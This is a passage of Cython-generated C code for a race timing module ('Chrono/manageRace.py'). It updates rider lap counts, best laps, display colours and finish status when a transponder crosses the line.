PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lapcount); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 279, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = PyObject_RichCompare(__pyx_t_3, __pyx_int_0, Py_GE); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 279, __pyx_L3_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 279, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_7) { /* "Chrono/manageRace.py":280 * tt["time"] = raceTime * if tt["lapcount"] >= 0: # the first crossing, it not a full lap * if lap < tt["bestlap"]: # <<<<<<<<<<<<<< * tt["textcolor"] = colors["Green"] * tt["bestlap"] = lap */ __pyx_t_1 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_bestlap); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 280, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = PyObject_RichCompare(__pyx_v_lap, __pyx_t_1, Py_LT); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 280, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 280, __pyx_L3_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_7) { /* "Chrono/manageRace.py":281 * if tt["lapcount"] >= 0: # the first crossing, it not a full lap * if lap < tt["bestlap"]: * tt["textcolor"] = colors["Green"] # <<<<<<<<<<<<<< * tt["bestlap"] = lap * else: */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 281, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = PyObject_GetItem(__pyx_t_3, __pyx_n_u_Green); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 281, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_textcolor, __pyx_t_1) < 0)) __PYX_ERR(0, 281, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":282 * if lap < tt["bestlap"]: * tt["textcolor"] = colors["Green"] * tt["bestlap"] = lap # <<<<<<<<<<<<<< * else: * tt["textcolor"] = colors["White"] */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_bestlap, __pyx_v_lap) < 0)) __PYX_ERR(0, 282, __pyx_L3_error) /* "Chrono/manageRace.py":280 * tt["time"] = raceTime * if tt["lapcount"] >= 0: # the first crossing, it not a full lap * if lap < tt["bestlap"]: # <<<<<<<<<<<<<< * tt["textcolor"] = colors["Green"] * tt["bestlap"] = lap */ goto __pyx_L15; } /* "Chrono/manageRace.py":284 * tt["bestlap"] = lap * else: * tt["textcolor"] = colors["White"] # <<<<<<<<<<<<<< * tt["lapcount"] +=1 # add a lap * tt["updated"] = True # all updated */ /*else*/ { __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 284, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = PyObject_GetItem(__pyx_t_1, __pyx_n_u_White); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 284, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_textcolor, __pyx_t_3) < 0)) __PYX_ERR(0, 284, __pyx_L3_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __pyx_L15:; /* "Chrono/manageRace.py":279 * tt["remticks"] = time()*1000 - self.start_time_ms * tt["time"] = raceTime * if tt["lapcount"] >= 0: # the first crossing, it not a full lap # <<<<<<<<<<<<<< * if lap < tt["bestlap"]: * tt["textcolor"] = colors["Green"] */ } /* "Chrono/manageRace.py":285 * else: * tt["textcolor"] = colors["White"] * tt["lapcount"] +=1 # add a lap # <<<<<<<<<<<<<< * tt["updated"] = True # all updated * ptt[0] = tt["lapcount"] */ __Pyx_INCREF(__pyx_n_u_lapcount); __pyx_t_9 = __pyx_n_u_lapcount; __pyx_t_3 = PyObject_GetItem(__pyx_v_tt, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 285, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyInt_AddObjC(__pyx_t_3, __pyx_int_1, 1, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 285, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_t_9, __pyx_t_1) < 0)) __PYX_ERR(0, 285, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; /* "Chrono/manageRace.py":286 * tt["textcolor"] = colors["White"] * tt["lapcount"] +=1 # add a lap * tt["updated"] = True # all updated # <<<<<<<<<<<<<< * ptt[0] = tt["lapcount"] * ptt[1] = -tt["remticks"] */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_updated, Py_True) < 0)) __PYX_ERR(0, 286, __pyx_L3_error) /* "Chrono/manageRace.py":287 * tt["lapcount"] +=1 # add a lap * tt["updated"] = True # all updated * ptt[0] = tt["lapcount"] # <<<<<<<<<<<<<< * ptt[1] = -tt["remticks"] * if self.max_time < raceTime: # we have finished the time ..... */ __pyx_t_1 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lapcount); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 287, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(__Pyx_SetItemInt(__pyx_v_ptt, 0, __pyx_t_1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1) < 0)) __PYX_ERR(0, 287, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":288 * tt["updated"] = True # all updated * ptt[0] = tt["lapcount"] * ptt[1] = -tt["remticks"] # <<<<<<<<<<<<<< * if self.max_time < raceTime: # we have finished the time ..... * cl = sorted(self.private.items(), reverse=True, key=lambda t:t[1]) */ __pyx_t_1 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_remticks); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 288, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = PyNumber_Negative(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 288, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (unlikely(__Pyx_SetItemInt(__pyx_v_ptt, 1, __pyx_t_3, long, 1, __Pyx_PyInt_From_long, 0, 0, 1) < 0)) __PYX_ERR(0, 288, __pyx_L3_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":289 * ptt[0] = tt["lapcount"] * ptt[1] = -tt["remticks"] * if self.max_time < raceTime: # we have finished the time ..... # <<<<<<<<<<<<<< * cl = sorted(self.private.items(), reverse=True, key=lambda t:t[1]) * if cl[0][0] == tp: # ok leader passed the line */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_max_time); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 289, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = PyObject_RichCompare(__pyx_t_3, __pyx_v_raceTime, Py_LT); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 289, __pyx_L3_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 289, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_7) { /* "Chrono/manageRace.py":290 * ptt[1] = -tt["remticks"] * if self.max_time < raceTime: # we have finished the time ..... * cl = sorted(self.private.items(), reverse=True, key=lambda t:t[1]) # <<<<<<<<<<<<<< * if cl[0][0] == tp: # ok leader passed the line * if self.remain_lap == -2: # start for the last laps... */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_private); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 290, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_items); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 290, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 290, __pyx_L3_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 290, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 290, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyDict_New(); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 290, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reverse, Py_True) < 0) __PYX_ERR(0, 290, __pyx_L3_error) __pyx_t_3 = __Pyx_CyFunction_NewEx(&__pyx_mdef_6Chrono_10manageRace_10manageRace_6doRace_lambda, 0, __pyx_n_s_manageRace_doRace_locals_lambda, NULL, __pyx_n_s_Chrono_manageRace, __pyx_d, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 290, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_key, __pyx_t_3) < 0) __PYX_ERR(0, 290, __pyx_L3_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_sorted, __pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 290, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_cl = __pyx_t_3; __pyx_t_3 = 0; /* "Chrono/manageRace.py":291 * if self.max_time < raceTime: # we have finished the time ..... * cl = sorted(self.private.items(), reverse=True, key=lambda t:t[1]) * if cl[0][0] == tp: # ok leader passed the line # <<<<<<<<<<<<<< * if self.remain_lap == -2: # start for the last laps... * self._status = self.cmdEndTime */ __pyx_t_3 = __Pyx_GetItemInt(__pyx_v_cl, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 291, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_GetItemInt(__pyx_t_3, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 291, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyObject_RichCompare(__pyx_t_1, __pyx_v_tp, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 291, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 291, __pyx_L3_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_7) { /* "Chrono/manageRace.py":292 * cl = sorted(self.private.items(), reverse=True, key=lambda t:t[1]) * if cl[0][0] == tp: # ok leader passed the line * if self.remain_lap == -2: # start for the last laps... # <<<<<<<<<<<<<< * self._status = self.cmdEndTime * self.remain_lap = self._laps */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_remain_lap); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 292, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyInt_EqObjC(__pyx_t_3, __pyx_int_neg_2, -2L, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 292, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 292, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_7) { /* "Chrono/manageRace.py":293 * if cl[0][0] == tp: # ok leader passed the line * if self.remain_lap == -2: # start for the last laps... * self._status = self.cmdEndTime # <<<<<<<<<<<<<< * self.remain_lap = self._laps * else: */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmdEndTime); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 293, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_status_2, __pyx_t_1) < 0) __PYX_ERR(0, 293, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":294 * if self.remain_lap == -2: # start for the last laps... * self._status = self.cmdEndTime * self.remain_lap = self._laps # <<<<<<<<<<<<<< * else: * self.remain_lap -= 1 */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_laps_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 294, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_remain_lap, __pyx_t_1) < 0) __PYX_ERR(0, 294, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":292 * cl = sorted(self.private.items(), reverse=True, key=lambda t:t[1]) * if cl[0][0] == tp: # ok leader passed the line * if self.remain_lap == -2: # start for the last laps... # <<<<<<<<<<<<<< * self._status = self.cmdEndTime * self.remain_lap = self._laps */ goto __pyx_L18; } /* "Chrono/manageRace.py":296 * self.remain_lap = self._laps * else: * self.remain_lap -= 1 # <<<<<<<<<<<<<< * if self.remain_lap == 0: * self._status = self.cmdFinish */ /*else*/ { __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_remain_lap); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 296, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyInt_SubtractObjC(__pyx_t_1, __pyx_int_1, 1, 1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 296, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_remain_lap, __pyx_t_3) < 0) __PYX_ERR(0, 296, __pyx_L3_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":297 * else: * self.remain_lap -= 1 * if self.remain_lap == 0: # <<<<<<<<<<<<<< * self._status = self.cmdFinish * tt["ended"] = True */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_remain_lap); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 297, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyInt_EqObjC(__pyx_t_3, __pyx_int_0, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 297, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 297, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_7) { /* "Chrono/manageRace.py":298 * self.remain_lap -= 1 * if self.remain_lap == 0: * self._status = self.cmdFinish # <<<<<<<<<<<<<< * tt["ended"] = True * if self._status == self.cmdFinish: */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmdFinish); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 298, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_status_2, __pyx_t_1) < 0) __PYX_ERR(0, 298, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":299 * if self.remain_lap == 0: * self._status = self.cmdFinish * tt["ended"] = True # <<<<<<<<<<<<<< * if self._status == self.cmdFinish: * tt["ended"] = True */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_ended, Py_True) < 0)) __PYX_ERR(0, 299, __pyx_L3_error) /* "Chrono/manageRace.py":297 * else: * self.remain_lap -= 1 * if self.remain_lap == 0: # <<<<<<<<<<<<<< * self._status = self.cmdFinish * tt["ended"] = True */ } } __pyx_L18:; /* "Chrono/manageRace.py":291 * if self.max_time < raceTime: # we have finished the time ..... * cl = sorted(self.private.items(), reverse=True, key=lambda t:t[1]) * if cl[0][0] == tp: # ok leader passed the line # <<<<<<<<<<<<<< * if self.remain_lap == -2: # start for the last laps... * self._status = self.cmdEndTime */ } /* "Chrono/manageRace.py":289 * ptt[0] = tt["lapcount"] * ptt[1] = -tt["remticks"] * if self.max_time < raceTime: # we have finished the time ..... # <<<<<<<<<<<<<< * cl = sorted(self.private.items(), reverse=True, key=lambda t:t[1]) * if cl[0][0] == tp: # ok leader passed the line */ } /* "Chrono/manageRace.py":300 * self._status = self.cmdFinish * tt["ended"] = True * if self._status == self.cmdFinish: # <<<<<<<<<<<<<< * tt["ended"] = True * else: */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_status_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 300, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmdFinish); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 300, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = PyObject_RichCompare(__pyx_t_1, __pyx_t_3, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 300, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 300, __pyx_L3_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_7) { /* "Chrono/manageRace.py":301 * tt["ended"] = True * if self._status == self.cmdFinish: * tt["ended"] = True # <<<<<<<<<<<<<< * else: * tt["partial"][type-1] = millis */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_ended, Py_True) < 0)) __PYX_ERR(0, 301, __pyx_L3_error) /* "Chrono/manageRace.py":300 * self._status = self.cmdFinish * tt["ended"] = True * if self._status == self.cmdFinish: # <<<<<<<<<<<<<< * tt["ended"] = True * else: */ } /* "Chrono/manageRace.py":273 * ptt = self.private[tp] * if not tt["ended"]: # has the rider passed the finish flag * if type == 0: # finish line crossing # <<<<<<<<<<<<<< * lap = millis - tt["lasttick"] * tt["lasttick"] = millis */ goto __pyx_L13; } /* "Chrono/manageRace.py":303 * tt["ended"] = True * else: * tt["partial"][type-1] = millis # <<<<<<<<<<<<<< * tt["updated"] = True * else: */ /*else*/ { __pyx_t_2 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_partial); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 303, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyInt_SubtractObjC(__pyx_v_type, __pyx_int_1, 1, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 303, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_t_3, __pyx_v_millis) < 0)) __PYX_ERR(0, 303, __pyx_L3_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":304 * else: * tt["partial"][type-1] = millis * tt["updated"] = True # <<<<<<<<<<<<<< * else: * tt = {} */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_updated, Py_True) < 0)) __PYX_ERR(0, 304, __pyx_L3_error) } __pyx_L13:; /* "Chrono/manageRace.py":272 * tt = dictRace[tp] * ptt = self.private[tp] * if not tt["ended"]: # has the rider passed the finish flag # <<<<<<<<<<<<<< * if type == 0: # finish line crossing * lap = millis - tt["lasttick"] */ } /* "Chrono/manageRace.py":269 * * try: * if tp in dictRace: # test if transponder it registred # <<<<<<<<<<<<<< * tt = dictRace[tp] * ptt = self.private[tp] */ goto __pyx_L11; } /* "Chrono/manageRace.py":306 * tt["updated"] = True * else: * tt = {} # <<<<<<<<<<<<<< * if type == 0: * tt["lapcount"] = 0 # R_lapcount */ /*else*/ { __pyx_t_3 = PyDict_New(); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 306, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __pyx_v_tt = __pyx_t_3; __pyx_t_3 = 0; /* "Chrono/manageRace.py":307 * else: * tt = {} * if type == 0: # <<<<<<<<<<<<<< * tt["lapcount"] = 0 # R_lapcount * else: */ __pyx_t_3 = __Pyx_PyInt_EqObjC(__pyx_v_type, __pyx_int_0, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 307, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 307, __pyx_L3_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_7) { /* "Chrono/manageRace.py":308 * tt = {} * if type == 0: * tt["lapcount"] = 0 # R_lapcount # <<<<<<<<<<<<<< * else: * tt["lapcount"] = -1 # R_lapcount */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_lapcount, __pyx_int_0) < 0)) __PYX_ERR(0, 308, __pyx_L3_error) /* "Chrono/manageRace.py":307 * else: * tt = {} * if type == 0: # <<<<<<<<<<<<<< * tt["lapcount"] = 0 # R_lapcount * else: */ goto __pyx_L21; } /* "Chrono/manageRace.py":310 * tt["lapcount"] = 0 # R_lapcount * else: * tt["lapcount"] = -1 # R_lapcount # <<<<<<<<<<<<<< * tt["remticks"] = time()*1000 - self.start_time_ms # R_remticks * tt["bestlap"] = self._duration*1000 # R_bestlap */ /*else*/ { if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_lapcount, __pyx_int_neg_1) < 0)) __PYX_ERR(0, 310, __pyx_L3_error) } __pyx_L21:; /* "Chrono/manageRace.py":311 * else: * tt["lapcount"] = -1 # R_lapcount * tt["remticks"] = time()*1000 - self.start_time_ms # R_remticks # <<<<<<<<<<<<<< * tt["bestlap"] = self._duration*1000 # R_bestlap * tt["lastlap"] = 0 # R_lastlap */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_time); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 311, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 311, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 311, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyNumber_Multiply(__pyx_t_3, __pyx_int_1000); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 311, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_start_time_ms); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 311, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = PyNumber_Subtract(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 311, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_remticks, __pyx_t_1) < 0)) __PYX_ERR(0, 311, __pyx_L3_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":312 * tt["lapcount"] = -1 # R_lapcount * tt["remticks"] = time()*1000 - self.start_time_ms # R_remticks * tt["bestlap"] = self._duration*1000 # R_bestlap # <<<<<<<<<<<<<< * tt["lastlap"] = 0 # R_lastlap * tt["totticks"] = self._duration*1000 # R_totticks */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_duration_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 312, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = PyNumber_Multiply(__pyx_t_1, __pyx_int_1000); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 312, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_bestlap, __pyx_t_3) < 0)) __PYX_ERR(0, 312, __pyx_L3_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":313 * tt["remticks"] = time()*1000 - self.start_time_ms # R_remticks * tt["bestlap"] = self._duration*1000 # R_bestlap * tt["lastlap"] = 0 # R_lastlap # <<<<<<<<<<<<<< * tt["totticks"] = self._duration*1000 # R_totticks * if Globals.C_concurrents_TP_fmt%tp in Globals.tpRacerList : */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_lastlap, __pyx_int_0) < 0)) __PYX_ERR(0, 313, __pyx_L3_error) /* "Chrono/manageRace.py":314 * tt["bestlap"] = self._duration*1000 # R_bestlap * tt["lastlap"] = 0 # R_lastlap * tt["totticks"] = self._duration*1000 # R_totticks # <<<<<<<<<<<<<< * if Globals.C_concurrents_TP_fmt%tp in Globals.tpRacerList : * c = Globals.racerList[ Globals.tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_duration_2); if (unlikely(!__pyx_t_3)) 